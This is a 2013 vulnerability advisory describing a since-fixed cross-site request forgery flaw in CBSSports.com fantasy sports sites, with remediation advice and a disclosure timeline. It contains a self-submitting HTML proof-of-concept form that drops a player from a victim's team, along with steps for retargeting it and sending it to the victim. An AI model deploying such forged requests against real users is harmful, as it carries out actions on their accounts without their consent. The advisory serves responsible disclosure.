CBSSports.com Cross-Site Request Forgery

Summary
=========
The CBSSports.com fantasy sports sites do not prevent unauthorized execution of sensitive operations initiated outside the authorized application workflow. This behavior could be leveraged by an attacker through a Cross-Site Request Forgery (CSRF) attack in order to modify an opponent’s team and/or lineup. 

CVE number: Not Assigned
Impact: Medium
Vendor homepage: http://www.cbssports.com/
Vendor notified: 01/09/2013
Vendor fixed: 02/22/2013
Credit: Christopher Emerson of White Oak Security (http://www.whiteoaksecurity.com/)

Affected Products
=================
Confirmed on CBS Sports Fantasy Football and Fantasy Baseball properties. Other fantasy sports sites may have also been affected.

Details
=======
CBSSports.com fantasy sites allow authenticated users to perform sensitive actions without verifying that the user actually invoked the actions. When a CBSSport.com customer navigates to a page or clicks a link that includes a maliciously crafted post request, that user’s web browser makes a request to the applicable CBSSports.com fantasy site. If the user is currently authenticated to the CBSSports.com fantasy site, the scripted action within the request is executed with the privileges of the authenticated user.

 Impact
=======

Attackers could trick authenticated users into submitting malicious requests to the application, including trade offers and add/drop requests.

Solution
======== 
Utilize cryptographically secure tokens stored within a hidden field or the application URL (but not within a cookie) for all pages that perform sensitive operations. Use each token value only once. The application should verify token values before performing sensitive operatio
ns, and should terminate authenticated sessions upon encountering incorrect token values.

Alternatively, a secondary round of user authentication could be required for all requests that perform sensitive operations, performing the sensitive operations only upon successful  re-authentication. 

Proof-of-Concept 
================
White Oak Security has included sample HTML code as a Proof-of–Concept (PoC). The PoC is designed to drop placekicker Alex Henery from his owner’s team.  The code below should be copied and pasted into an HTML file, although the actual exploit can be hosted on the Internet for ease of exploit

To reproduce this in your own environment, the PoC will need to be modified as detailed below.

 

<html>
<body>
<form name="XSRF_Drop_Player" action="http://mfa55.football.cbssports.com/transactions/add-drop" method="POST">
<input type="hidden" name="form&#58;&#58;form" value="form" />
<input type="hidden" name="drop&#95;action" value="drop" />
<input type="hidden" name="form&#58;&#58;to&#95;drop" value="182335" />
</form>
<script>
document.XSRF_Drop_Player.submit();
</script>
</body>
</html>
  1. Change the URL to the target league.
  2. Change the value to the player’s ID number (e.g. 182335 for Alex Henery)

This file must then be sent to the owner of the targeted player, Alex Henery.  When the owner opens the file, the request inherits the identity and privileges of the authenticated user.  The CBSSports.com site will then process the drop request without proceeding through the site’s normal workflow and without confirming that the user actually invoked the request.

This file must then be sent to the owner of the targeted player, Alex Henery.  When the owner opens the file, the request inherits the identity and privileges of the user.  The CBSSports.com site will process the drop request without proceeding through the site’s application workflow and without confirming that the user invoked the request.

Figure 1. Test team containing Alex Henery before the CSRF exploit

Figure 2. Capture of the Request that is sent once the proof of concept is executed

The image above shows the session information and cookies that are inherited by the malicious request.

Figure 3. Test team missing Alex Henery after the CSRF exploit

 

Disclosure Timeline
==================
January 9, 2013: Disclosed to vendor (CBS Corporation).
January 10, 2013: Vendor’s initial response.
February 22, 2013: Vendor stated vulnerability had been remediated and a Responsible Disclosure policy was being drafted.
February 26, 2013: Confirmed successful vendor remediation.
September 26, 2013: Received vendor's Responsible Disclosure Policy.
September 30, 2013: Disclosed vulnerability publicly

Christopher Emerson